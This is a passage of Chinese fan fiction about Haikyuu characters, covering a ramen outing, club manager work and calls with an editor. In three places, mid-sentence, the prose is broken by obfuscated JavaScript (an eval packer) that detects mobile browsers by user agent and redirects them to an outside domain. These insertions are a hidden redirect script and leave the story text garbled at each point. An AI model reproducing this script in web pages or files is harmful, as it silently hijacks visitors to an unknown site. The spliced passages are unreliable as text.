鹤见深雪噘着嘴反驳,“大家信任我才交给我做,再说了他们好多不是为了让我做事,只是为了来看我,我对他们笑笑就能努力打球,这不是挺容易的,而且后辈们打球很辛苦啊,应该奖励……哎好痛,干嘛突然下手那么重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15176167|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 他以前从来没发现原来自己长得好看这件事,更没发现长得好看在男生这边也有这么多特权,失掉的自信力重返大脑,变本加厉,扭转为扭曲级别的自恋。 “哟,真的吗?鹤见前辈~也奖励奖励我呗。”及川彻对他一阵阴阳怪气。 鹤见深雪冷眼看着及川彻,转念一想——啧,及川彻又在嫉妒他,毕竟及川彻以前是排球部的社团池面,他来了把及川彻的风头都抢走了,不高兴也正常,理解。 “嫉妒真是让人面目全非呢,及川君。” 药物敷在皮肤上开始反馈灼热,存在感明显,本来不算很痛的,但因为药物的原因让人无法忽视,结果是更难受了,鹤见深雪忍不住嘶嘶的吸气。 及川彻站起来看了看周围,有点鬼鬼祟祟地掏出一个东西。 “这个给你。” 鹤见深雪抬头看向及川彻,看他的掌心放着一块精致的御守。 “我和岩泉一起去轮王寺求的御守,许了愿的,借你。” 借?及川彻真是个小气鬼。 鹤见深雪有点想要,但又道:“你许的什么愿望,对我有用吗?” 他需要的是那种能帮他小说大卖,动画、影视版权被几家大公司高价轮番争夺的愿望。 别整这些花里花哨的,他要来财!财源滚滚来! 他还要长相酷似霹雳娇娃里刘玉玲的性.感美少女编辑霸道走来盖住他的笔记本电脑,道:“鹤见老师别写了,诺贝尔文学奖来电话了。” 幻想到这里,鹤见深雪不由得露出笑容。 及川彻无语地笑,忍不住抬手戳戳他的脸颊:“……你又在那里做什么美梦呢?” 及川彻不解的语气打破鹤见深雪的粉红泡泡,把他一下从斯德哥尔摩瑞典学院领奖台上拉下来,现实里没有美少女编辑,没有诺贝尔奖,只有及川彻。 及川彻道:“反正是对你有用的愿望。” “什么啊?” “……从现在开始不再受伤,就算受伤也要快快不疼,不再遇到坏事。” 鹤见深雪无语凝噎,好吧,确实对他挺有用的,就是显得他是个中看不中吃的废物点心。 他从及川彻手里拿过那个红色的御守,不知道是不是心理作用,还是药起效了,反正没那么疼了。 难道真有用? “那你呢?”鹤见深雪坐在台阶上,仰头看向站着的及川彻,今天看了及川彻打球,感觉及川彻练球真的很努力,于是道:“你比我更容易受伤,你自己留着吧。” “你说这话的时候良心不会痛吗?要不要数数你自己受了多少伤了。” “……好吧。” 鹤见深雪遽然站起来,扶着及川彻单脚跳,“谢谢你,下次我也许一个御守还你。” “……你们两个在这里干嘛呢?” 熟悉的男声从身后传来,及川彻连忙收回手,差点让鹤见深雪倒在他身上。 两人转身,果不其然是岩泉一,还有花卷贵大和松川一静。 花卷贵大忍不住笑道:“吓我一跳,远远看见还以为及川在和女孩子谈恋爱呢,原来是鹤见啊。” “我们在校门口等你俩半天了。”岩泉一道:“去不去吃拉面?” 拉面?! 鹤见深雪一听到这个就嘴里分泌口水,上次及川彻给他带的拉面超好吃,而且现在——就是jump漫画里一起去吃拉面增进友情的重要part! ——艾博,拉面一库贼!(相棒、ラーメン行こうぜ。) 24.放课 刚好在晚餐时间,又是新开张连锁拉面店,周围人群里三圈,外三圈,熙熙攘攘。 鹤见深雪见了大吃一惊,脱口而出。 “这家店怎么了?怎么这么多人围着?出什么事故了?” 花卷贵大莫名奇妙地看着他。 “怎么,这不都在排队吗?” 鹤见深雪在家里居家两三个月,没有出来吃过饭,过往的人生更没有接触过这种如本地帮派接头似的餐馆。 他讪讪地闭嘴收声,排队站在花卷身后,垫垫自己的单肩包,期待这个餐馆里到底有怎样的至臻美味。 排队的人都很有礼貌,大部分还选择外带,排了十分钟,五个人就能排排坐在长桌上。 师傅甩动拉面放入蒸汽腾腾的汤锅里。 几分钟后又捞出,浇上奶白的豚骨汤汁,又盖上叉烧肉、裙带菜、鸣门卷、温泉蛋,配上一小碟新鲜笋干。 五碗拉面摆上了桌,鹤见深雪又学着及川彻的样子,给自己加了一勺海苔芝麻碎。 “我开动了。”x5 鹤见深雪夹起一勺,呼呼吹冷后放入嘴里,还有些温烫,微微烧嘴。 鹤见深雪先把笋干全部消灭,咯吱咯吱、脆香还带一丝甜,吃完之后还意犹未尽,看了眼坐在旁边的花卷贵大,他的笋干还一动未动。 “花卷君,可不可以把你的笋干给我。” “啊?为什么……呃……” 花卷贵大刚想拒绝,就扭过头看向鹤见深雪。 只见鹤见深雪仰头望着他,金色头发辉映着窗外夕阳的光辉,皮肤雪白,一双少见的浅蓝色眼睛像小鹿一般懵懂,眼圈还有些微红。 如此澄澈的蓝色眼眸,倒映窗外天空徐徐而动的白云,似另一片天空。 花卷贵大立刻想起了欧洲壁画雕塑里的小天使,然后听见自己心融化的声音。 “可恶……你是天使吗?给,全给你!” 欸!好诶! “谢谢你,花卷。”鹤见深雪用力点点头。 松川一静摇摇头,叹息:“没想到花卷你居然这么一瞬间就被拿下了,弱爆了。” 花卷贵大还没来得及反驳,只见松川一静突然严肃说道:“我的话,至少要笑一下才能拿下。” 鹤见深雪被松川一静逗笑了,才露出洁白的牙齿,松川一静碟子里的笋干已经到了鹤见深雪的碗里。 花卷忍不住大声吐槽:“哈?松川你比我到底强在哪里?” 松川一静:“那我还是没有你那么便宜。” 及川彻在一旁更是要捏断筷子,很快加入吵架行列。 ——鹤见深雪,小小年纪已经学会了出卖色相,以后怎么了得,身为哥哥我必须教训他。 “吵死了,你们四个。” 岩泉一宛若家长一样地轻轻敲了一下桌子,让四个要掐起来的人闭嘴,然后让老板直接又上了两碟笋干。 “鹤见,吃个够。” 鹤见深雪睁大眼睛看向岩泉一。 ——好帅的男人。 六点半,笋干足饭饱。 五个人一边聊着之前还没讲完的关于排球部的话题,一边出了面馆,步行了十来分钟之后,和松川花卷道别。 鹤见深雪看着俩人离开的背影,岩泉一在另一边叫他。 “快点走啦,鹤见。” “噢。” 鹤见深雪跟上岩泉一。 没走几分钟,及川彻又两步跨进熟悉的小卖部,拿出三个棒冰。 他和小卖店里老板娘插科打诨,几句美言拿下了买二送一的优惠。 “出卖色相……嗯?” 鹤见深雪斜着眼,复述吃饭时候及川彻的话。 及川彻心虚地眼神乱瞟,将棒冰塞到鹤见深雪的手里,“哈??那你别吃!” 鹤见深雪接过棒冰,是葡萄口味的。 ——暂时在心里放过及川彻。 棒冰才吃的四分之一,及川彻又挥手告别岩泉一,他微微偏头,发现鹤见深雪就站在他的身边,也在和他一起对岩泉一挥手,接着他对及川彻说——走啊。 及川彻一时之间有些恍惚。 每次和岩泉一挥手告别,都会产生一种,不管多么要好的朋友,也只能陪你一段路,人生剩下的道路需要自己走的怅然若失。 这样的感觉,他已经持续十来年了。 可是现在看到鹤见深雪,竟然生出这样走下去也不错的感觉。 * 回到家里已经是快八点。 刚进门两个人就被及川太太塞了两张补习班的海报。 “快乐日子快结束了,两位。” 及川彻:“老妈,别再我们最开心的时候给我看这个好吗?” ——答应我,做个不扫兴的家长。 没什么作业,但还是预习了一会儿功课,直到晚上九点,鹤见深雪才开始处理工作。 他打开电脑,看见宫泽发来的邮件—— 【主题:2月下刊《爱欺负人的排球部前辈》人气投票相关】 鹤见深雪心脏漏跳一拍,深吸两口气打开了邮件。 邮件里面十几本小说的排行,鹤见深雪一眼就看见自己的小说排名。 宫泽:【这次比上次上升了十名,还在推特上引起了一小部分的讨论,二创也不凑,有个十万粉的画师给你画了同人图,看来排球题材的受众还是不少的,也可能是这个题材的空缺,我建议鹤见老师可以开始准备长篇连载了。】 鹤见深雪在榻榻米上原地打了两个滚。 然后高冷回复—— 【好,我会尽快准备至少三份长篇大纲。】 宫泽很快回消息,【亲亲,你实在是太勤奋了!】2012接永远有这些作者。 鹤见深雪和赤苇妈聊过,很快又去找赤苇,把自己当排球部经理的事情,告诉了赤苇,等待表扬。 果然,赤苇京治回复【鹤见老师,无论做什么都很用心,而且总是能做的很好。】 ——唉,我的互联网好朋友,赤苇京治,真是每次都能夸到点子上呢~不像及川彻,每次都是‘是是是’的敷衍人。 夸得鹤见深雪恨不得现在冲去排球馆,把排球馆上下擦一遍。 动力来了! 鹤见深雪:【其实还好啦,一般般你过奖了。】 赤苇京治:【不,有很多细节工作是很重要的,我们社团有两位经理,还时常忙得头晕眼花的,鹤见一己之力胜任这些,很令人佩服。】 赤苇京治:【一个好的经理能将整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15188641|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团队带起来,走向全国的舞台。】 鹤见深雪:!!! 鹤见深雪震惊地看着赤苇京治发来的消息,其实他一直觉得经理就是个辅助的岗位,原来真的能做出成绩?! 鹤见深雪恍惚之间想起了去年冬天,在仙台第一次坐校车回家的时候,那时的气氛。 他记忆力不错,闭上眼睛就回想起了当初不认识,但现在有了名字的人。 原来坐我前面的人是花卷啊…… 当时他好像还哭了。 真看不出来,这家伙有时候嬉皮笑脸和及川彻差不多,也会哭吗? 鹤见深雪心情复杂,从榻榻米上站起来,小矮子双手附后走了两圈,然后在手机里输入—— 【我想让青叶城西走上全国的舞台,我能做什么?】 半个小时后,及川彻的房间。 及川彻戴着耳机靠在床边看《火影忍者43卷》,面色凝重,被其中宇智波兄弟的决战剧情拉扯着。 鹤见深雪把地板踩得很响,及川彻感受到震动回过头,就见他直接像接排球一样直接滑跪到自己面前。 及川彻摘了耳机,莫名其妙的看着他。 “及川啊,青叶城西有没有进入过全国大赛呢?” “……” 真是刚好提到伤心事,及川彻满脸黑线,还是冷静地回答:“三年前进过一次。” “三年前?” 鹤见深雪压力很大地抿抿嘴,然后皱眉看了眼及川彻,问道:“那岂不是你加入之后就没进过全国了?那你还这么坚强地打排球,好感动。” 及川彻:“……” “原因有很多……”及川彻决定挽尊解释一下,结果就被鹤见深雪打断了。 只见他自信从容一笑,拍拍胸口,说道: “不用解释了,阿彻啊以后你也不用故作坚强了——因为,你的强来了。” “——我,鹤见深雪,要带领青叶城西走上全国的舞台。” 及川彻望着站得很高,但159的鹤见深雪,心情复杂,有点感动,又有点好笑。 “想法不错,但谁给你喝了鸡汤了吗?兴奋成这样?” ——是啊,赤苇京治,你到底给我喝了什么? 鹤见深雪摇摇头,道:“我,鹤见深雪,不鸣则已,一鸣必须惊人,干什么都要成功!” 说完,鹤见深雪仰天笑了两声,低头看见及川彻蜜棕色的眼眸里,清晰地写这‘是不是要打120把他带走’,顿时不爽起来。 他看见及川彻手里的漫画,道:“你怎么才看到这里?宇智波兄弟决战?” 及川彻不知道,这人怎么了,一阵一阵的,心里那份感动骤然消失,反而有种危机感,连他这么抽象有时候都快跟不上鹤见深雪的思路了。 “那你应该还不知道团藏吧?” 及川彻:“……谁?” “宇智波鼬其实是被团藏利用了才灭族的,他灭族是为了保下弟弟佐助,佐助一直误会了他最亲爱的哥哥。” 及川彻:“……………………” 鹤见深雪说完就跑,被剧透的及川彻还愣在原地,过了五秒才回过神来,回头看了眼漫画,猛地扔掉书,冲向鹤见深雪。 “鹤见深雪,你给我站住!” 25.努力 经过大半个月的排球部经理生活之后,鹤见深雪已经完全适应。 在及川彻若有若无的警告之下,排球部成员对鹤见深雪无休止的孔雀开屏行为总算结束了。 但鹤见深雪的存在确实让排球部成员亢奋了很多。 如果是卡牌游戏的话,鹤见深雪就是那种超神辅助。 尤其是鹤见深雪要将每个正选和替补的数据建档记录,形成制度,并且制定了完备的计划。 教练被这一行为震撼了,坚决拥护鹤见深雪,让整个排球部产生了考试一般的恐怖。 终于是有几个人忍不了这种比上学还可怕的考试,退出了排球部。 沟口领队怕鹤见深雪难受,还专门劝慰他,“每学期都有会有人坚持不住训练而退出的,并不是新制度的原因。” 没想到鹤见深雪根本不内耗,皱眉抬头看他,接着了冷哼一声,一脸中二地说道:“这不是很正常,弱者不属于排球部。” volleyball player never cry! 小斯巴达经理已抵达青叶城西排球部。 沟口领队:“……” 排球卡牌游戏: 角色:鹤见深雪。 定位:辅助。 技能:1.斯巴达训练(当角色在场时,全体队友训练收获增幅80%,战斗属性增加50%) 技能释放台词:volleyball player never cry! * “给!” 排球馆里鹤见深雪将信封塞进及川彻的手里。 “社团经费申请书,还有各种花费的报表,我对账了往届的记录,发现他们都会砍百分三十……” 鹤见深雪冲及川彻使使眼色,让他附耳过来,然后小声说:“所以我调查了各类项的内容,多报了百分之三十。” 及川彻噗嗤一声笑了,“这么聪明。” “你才发现啊。” 及川彻翻开信封,才发现鹤见深雪居然洋洋洒洒写了一千多字,他震惊,他以前和前辈坐在一起能憋出三百字算他们俩厉害。 “你什么时候写的?” “家里啊。” 鹤见深雪看着及川彻震惊地表情,十分享受,“就一千字而已,我怕写太多了他们看着太累了,影响心情,我连修改带润色才花了一小时。” 写作是他的天赋,他虽然嘴皮子不利索,但内心却是个话痨。 鹤见深雪嘱咐了几句,及川彻认真地看他,朝鹤见深雪敬了个礼,“谢谢你,小深雪。我终于能在田径部部长面前抬起头了。” 青叶城西田径部很知名,全国大赛的常客,光是社团经理就有三个,还都是美少女。 而社团经费各类资源是学校发下来的大蛋糕,由学生会按照各个社团的表现和需要来瓜分。 田径部器材不多,但每次都能拿大头。 鹤见深雪得意一笑,拍拍小胸脯,脸上写满了‘人,你可以靠在猫的胸口休息’。 他严肃又温柔地说道:“阿彻啊,我都说了,有我,你不用再用笑掩盖伤痕,故作坚强了,你的强……” 及川彻顿时咆哮:“……现在!立刻!放弃!这句话!” 花卷贵大在一旁忍不住笑,道:“只有鹤见这种人才能给把及川都惹急了。” 鹤见深雪有些迷茫,他感觉自己并不抽象,他只是普普通通的说话而已,及川彻怎么老在他面前急眼。 果然是嫉妒。 * 钱虽然不是万能的,但是花钱的数量和实力总是呈正比的。 鹤见深雪觉得就算是这些经费全被及川彻全拿下了,也还是缺,所以还要继续拉赞助才行。 鹤见深雪掏出计划本,划掉一行之后,又拿出手机,回拨了早上的电话,和乌野的排球部老师进行沟通。 凭借鹤见深雪卓越的狗腿属性,如今已经是入畑教练的得力助手,对外联络的事务也落在了他的头上,他开始逐步联系一些训练还有对外拉赞助。 “好的,没问题,您那边过来吗?约在下周末吗?” 鹤见深雪听着电话那头乌野领队老师不停地说着谢谢、谢谢,搞得自己都不好意思了,鹤见深雪只是学生,但感觉乌野的老师已经在电话那头对自己鞠躬了。 这就是排球豪强学校的感觉吗?好爽。 鹤见深雪接着故作无情,操起练了好久的气泡音,说道:“但是——我们这边还有一个要求,那就是让影山飞雄担任首发二传手。” 对面沉默了一阵子,但还是委曲求全一般的答应了,还不忘谢谢。 鹤见深雪见他答应,冷淡地挂断了电话,然后忍不住当场握拳,爽飞了—— 啊啊!这句话!好像是什么反派的台词—— Oi小鬼,你们统统不值一提,让影山飞雄出来。 ——的这种感觉。 好爽。 青叶城西,好像反派啊喂!好帅! 听入畑教练讲乌野近些年没落的很厉害,被称为什么飞不起来的乌鸦,好像主角哦! 鹤见深雪满怀着这份开心的情绪,向入畑教练汇报了电话结果。 入畑教练点点头,说道:“我很担心影山那个孩子,怕在乌野他埋没了他的天赋,最重要的是……” “再说我真的要以为你是什么影山飞雄毒唯了。”鹤见深雪反驳道,“而且,我不信,彻更厉害,教练不要长他人志气灭自己威风吧。” 入畑教练被他教训了一番,没有生气,反而呵呵的笑。 “鹤见说得对,及川也是难得一遇天才啊。” 确实,不想承认,但及川彻这家伙真的很有排球天赋,可以说整个青叶城西都在指望他。 鹤见深雪刚在乌野这边做完豪强,接着又要去做孙子。 周六,鹤见深雪去找了宫泽。 时隔四个月,终于又在线下见到了宫泽编辑,鹤见深雪用牛皮纸袋装了厚厚一叠稿纸,宫泽光是看都要看一个多小时。 宫泽从三份纲要里点出了几个问题,又对剧情发展提了几个意见,都比较中肯,只是方向。 聊了三个多小时后,宫泽整理文件,他突然说道: “鹤见老师,你肯定会成功的。” “诶?” “虽然文学这一行是看天赋的,鹤见老师或许不是其中最有天赋的,但您真的很勤奋,努力也是一种天赋。” 嘿嘿。 鹤见深雪挠挠头,有点不好意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15196845|164236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,赤苇母子俩怎么都这么会夸人,真的要给他喝太多鸡汤就要飘了。 “只是喜欢,仅此而已。”鹤见深雪谦虚道。 宫泽笑而不语,继续道:“那稿件我就收走了,长篇小说需要好几个编辑的研读,大纲也需要随时调整。” 宫泽点了一下桌面上的iPhone手机的录音键,关闭了录音。 按照出版社的要求,编辑与作者的谈话都需要录音备份。 “鹤见老师有任何需要都可以联系我,无论是生活还是创作上,京治对您的印象也特别好,你们现在关系怎么样?” 鹤见深雪眼睛一亮,笑着点头,“关系很好,我们每天都聊天。” “那就好。” “不过我真的有个需要。” 鹤见深雪回想了一下今天和乌野老师的对话,于是他学着乌野老师的样子,朝着宫泽鞠了一躬。 “我听说枭谷是排球豪强,多次进入全国大赛的舞台。我现在青叶城西当排球部的经理,我想是否可以有机会可以和枭谷学院进行一次交流呢。” 宫泽有点惊讶,她是枭谷学院家长会的成员,但还真不知道这个能不能安排,她更惊讶鹤见深雪居然能做到这一步。 ——不管做什么都要成功,看来不是随便说说啊。 “我不知道能不能办到,但只要你想成功,我一定会尽全力帮你的。” 宫泽走了之后,社交能量耗尽的鹤见深雪例行坐在咖啡馆里休息了一会儿,手机忽然疯狂作响,鹤见深雪翻开发现竟然是岩泉一。 “喂,鹤见啊。” “怎么了?” “及川彻那家伙训练受伤了。” 鹤见深雪震惊地追问:“啊?什么?严重吗?伤哪儿了?” “应该不严重,扭到脚了。” 鹤见深雪双手揉揉太阳穴,那句马上就要和乌野比赛了,怎么这么不小心的话吞回去了。 他有点没法想象及川彻摔倒,然后扭伤脚的画面,毕竟那家伙从来都是很灵活的。 他手放兜里,不自觉地捏了捏手里及川彻送的御守。 “还没去医院呢,你能不能送他去医院,我们就在常去的那个排球馆。” 鹤见深雪和宫泽约的咖啡馆距离很近,但他到的时候也是暮色四合了。 “今天又不是训练日,干嘛要自己训练?” 鹤见深雪一到排球馆门口就看见及川彻坐在台阶上,似乎在看什么东西,好像是杂志,封面偏粉色调又不像jump,天色将晚,鹤见深雪也没看清楚。 鹤见深雪一来,他手速极快的鬼鬼祟祟地塞进背包里。 “干嘛啊,看什么呢,我这回不剧透你。” 及川彻嗤之以鼻,道:“我才不信你呢。” 鹤见深雪理解自己的信任值大危机了,便不再追问,反而说道:“剧透也别怪我好吧,谁叫你作为日本高中生居然不好好完成JUMP作业呢。” 没等及川彻继续和他斗嘴,鹤见深雪主动跳过话题,说道:“让我看看你的脚。” 及川彻拉他起来,说道:“我没事,小岩好夸张啊,因为他要急急忙忙去上补习班,为了学习就把朋友忘记了,故意说得很夸张让你过来——我没事,我们走吧。”